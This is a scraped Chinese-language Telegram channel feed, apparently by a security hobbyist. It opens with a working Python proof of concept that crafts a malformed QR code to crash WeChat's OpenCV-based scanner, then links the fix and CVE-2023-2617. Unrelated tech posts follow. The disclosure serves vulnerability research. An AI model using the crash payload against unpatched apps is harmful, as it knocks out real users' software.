TimeAxis
构造成功了,成功让微信崩溃了!几个要点: 1. 数据需要绝对无填充,不可以出现 padding pattern 2. 最后一个 block 的记录长度要尽可能的长,与什么模式无关
附上复现用的代码:
理论上只要能够找到合适的 data block 组合,恰好填充满二维码的容量,并在最后一个 0 长 block 中写入一个越界的长度,并保证上述所有数据 RS 纠错码生成正确,就可以实现崩溃了()
import qrcode
from qrcode.util import *
def hack_put(self, num, length):
if num == 0:
num = 233 # make a fake length
for i in range(length):
self.put_bit(((num >> (length - i - 1)) & 1) == 1)
qrcode.util.BitBuffer.put = hack_put
qr = qrcode.QRCode(2, qrcode.constants.ERROR_CORRECT_M, mask_pattern=0)
num_data = QRData('1145141', MODE_NUMBER)
data = QRData(b'.', MODE_8BIT_BYTE)
hack_data = QRData(b'', MODE_8BIT_BYTE)
# make sure all data is fit to the max content length for this version
qr.add_data(num_data)
qr.add_data(data)
qr.add_data(num_data)
qr.add_data(data)
qr.add_data(num_data)
qr.add_data(data)
qr.add_data(num_data)
# add a zero length data to make the length of the data to be 233
qr.add_data(hack_data)
qr.make_image()
理论上只要能够找到合适的 data block 组合,恰好填充满二维码的容量,并在最后一个 0 长 block 中写入一个越界的长度,并保证上述所有数据 RS 纠错码生成正确,就可以实现崩溃了()
🥰27
Forwarded from 不存在的世界
发现根本问题所在了,是 OpenCV's extra modules 中 WeChat QR Code 模组的锅
https://github.com/opencv/opencv_contrib/pull/3480
https://github.com/opencv/opencv_contrib/pull/3480
GitHub
fix(wechat_qrcode): Init nBytes after the count value is determined by Konano · Pull Request #3480 · opencv/opencv_contrib
Merge with test case: opencv/opencv_extra#1061
A malicious crafted image will crash the wechat_qrcode module by invalid memory access.
The earliest PoC by @GZTimeWalker: https://gist.github.com/GZT...
A malicious crafted image will crash the wechat_qrcode module by invalid memory access.
The earliest PoC by @GZTimeWalker: https://gist.github.com/GZT...
👍16
Forwarded from Hacker News
Capturing the Flag with GPT4 (Score: 150+ in 1 day)
Link: https://readhacker.news/s/5DcBb
Comments: https://readhacker.news/c/5DcBb
Link: https://readhacker.news/s/5DcBb
Comments: https://readhacker.news/c/5DcBb
Micah Lee
Capturing the Flag with GPT-4
This weekend I went to BSides SF 2023 and had a blast. I went to some really interesting talks (including an excellent one about adversarial machine learning), but mostly I spent my time solving CTF hacking challenges. And this time, I did it with the help…
Forwarded from Hacker News
Lessons by 3blue1brown (🔥 Score: 160+ in 1 hour)
Link: https://readhacker.news/s/5Dnu6
Comments: https://readhacker.news/c/5Dnu6
Link: https://readhacker.news/s/5Dnu6
Comments: https://readhacker.news/c/5Dnu6
3Blue1Brown
Mathematics with a distinct visual perspective. Linear algebra, calculus, neural networks, topology, and more.
👍2
Forwarded from Rachel 碎碎念 (Rachel 🐨)
#有意思的文章
GPT 3.5 组成的一个认真运行的小社会,好酷啊,这就是未来吗
GPT 3.5 组成的一个认真运行的小社会,好酷啊,这就是未来吗
美国斯坦福大学和谷歌的研究团队基于GPT-3.5创建了一个迷你的“西部世界”——25个NPC都是由生成式智能体(Generative Agents)扮演的,他们有着各自的思想、个性、记忆、计划、社交关系等人类属性,一同生活在Smallville小镇中。这些AI角色在虚拟的世界中认真地生活,计划着自己的每一天,甚至还会主动地制造机会来追求自己喜欢的人。https://mp.weixin.qq.com/s/zsAPikn6CbaO86qbpKCmZg
Weixin Official Accounts Platform
比人类更像人类!在这个虚拟小镇里,npc有了自己的想法
Ta活过来了?
Forwarded from Laoself 🐎 (Laboratory of Standard Bowl 🧪)
《中国的防火长城是如何检测和封锁完全加密流量的》
https://gfw.report/publications/usenixsecurity23/zh/
https://gfw.report/publications/usenixsecurity23/zh/
Forwarded from Rachel 碎碎念 (Rachel 🐨)
#有意思的项目
生成极小缩略图的一个工具,通过将颜色从 RGB 映射到更能反映人眼观感的亮度 (luminance) - 色度 (chrominance) 空间(具体来说是亮度 L - 黄蓝 P - 红绿 Q)并进行 离散余弦变换 ,以及砍掉高频部分等操作,ThumbHash 能够生成与 BlurHash 等竞争者相比,空间利用率更高、保留长宽比、颜色更准确并且支持透明度的图片,实测效果非常厉害
官方提供了 JS, Rust, Swift 和 Java 的实现,README 中也给出了 Go, Perl, PHP 和 Ruby 的实现,应该足以应对大部分使用场景了
官网、原理及 live demo: https://evanw.github.io/thumbhash/
GitHub 仓库: https://github.com/evanw/thumbhash
生成极小缩略图的一个工具,通过将颜色从 RGB 映射到更能反映人眼观感的亮度 (luminance) - 色度 (chrominance) 空间(具体来说是亮度 L - 黄蓝 P - 红绿 Q)并进行 离散余弦变换 ,以及砍掉高频部分等操作,ThumbHash 能够生成与 BlurHash 等竞争者相比,空间利用率更高、保留长宽比、颜色更准确并且支持透明度的图片,实测效果非常厉害
官方提供了 JS, Rust, Swift 和 Java 的实现,README 中也给出了 Go, Perl, PHP 和 Ruby 的实现,应该足以应对大部分使用场景了
官网、原理及 live demo: https://evanw.github.io/thumbhash/
GitHub 仓库: https://github.com/evanw/thumbhash
👍10
#github
一个能够升级你电脑上所有东西的东西,甚至 macOS system update……
不跑一次我都不知道我电脑上装了这么多东西,离谱……
https://github.com/topgrade-rs/topgrade
一个能够升级你电脑上所有东西的东西,甚至 macOS system update……
不跑一次我都不知道我电脑上装了这么多东西,离谱……
https://github.com/topgrade-rs/topgrade
🤯14
这两天一直苦于 TimeMachine 备份一直有问题
昨天扫了一下午一晚上扫了一亿多条变更记录还没开始传输
今天重试了几次还是一样,刚刚突然意识到可以找 log,遂找到了罪魁祸首……
一个被我忽略了的、嵌入在一个 rust 项目里面、同时没有用 pnpm 管理的 node_modules 😇
PS:不是自己的项目,clone 编译测试的一个 tauri 项目
昨天扫了一下午一晚上扫了一亿多条变更记录还没开始传输
今天重试了几次还是一样,刚刚突然意识到可以找 log,遂找到了罪魁祸首……
一个被我忽略了的、嵌入在一个 rust 项目里面、同时没有用 pnpm 管理的 node_modules 😇
PS:不是自己的项目,clone 编译测试的一个 tauri 项目
😇4🔥1
今天刷B站偶然发现《宇宙探索编辑部》大会员可以直接看了,想起有朋友评价很好,于是一直想看,但是没安排好去影院的时间,正好🐑了不想考虑太多东西,遂晚饭后找了个时间片把它看完了。
看之前是没有过什么了解的,之前幻想过很多类型,但通通都猜错了。观感很不错,属于是大学以来一直在读“论文”,这部电影则是一首“诗”,看完有种无可言说的感受……感觉是挺值得一看的。
PS:这电影公映许可证居然是 2021 年的,然后 2023 年才上映……?
看之前是没有过什么了解的,之前幻想过很多类型,但通通都猜错了。观感很不错,属于是大学以来一直在读“论文”,这部电影则是一首“诗”,看完有种无可言说的感受……感觉是挺值得一看的。
PS:这电影公映许可证居然是 2021 年的,然后 2023 年才上映……?
👍7❤1
TimeAxis
好哦!Merge 了! 还怕自己那么早公开 PoC 会被抢走 PR / CVE,还好成功搏了回来😭! 也算是成了 OpenCV 的 Contributor,不亏! 这波是 Misc 手站起来了!
喵🐱!
CVE-2023-2617
A vulnerability classified as problematic was found in OpenCV wechat_qrcode Module up to 4.7.0. Affected by this vulnerability is the function DecodedBitStreamParser::decodeByteSegment of the file qrcode/decoder/decoded_bit_stream_parser.cpp. The manipulation leads to null pointer dereference. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. It is recommended to apply a patch to fix this issue. The associated identifier of this vulnerability is VDB-228547.
CVE-2023-2617
A vulnerability classified as problematic was found in OpenCV wechat_qrcode Module up to 4.7.0. Affected by this vulnerability is the function DecodedBitStreamParser::decodeByteSegment of the file qrcode/decoder/decoded_bit_stream_parser.cpp. The manipulation leads to null pointer dereference. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. It is recommended to apply a patch to fix this issue. The associated identifier of this vulnerability is VDB-228547.
cve.mitre.org
CVE -
CVE-2023-2617
CVE-2023-2617
The mission of the CVE® Program is to identify, define, and catalog publicly disclosed cybersecurity vulnerabilities.
🔥20💯3👍1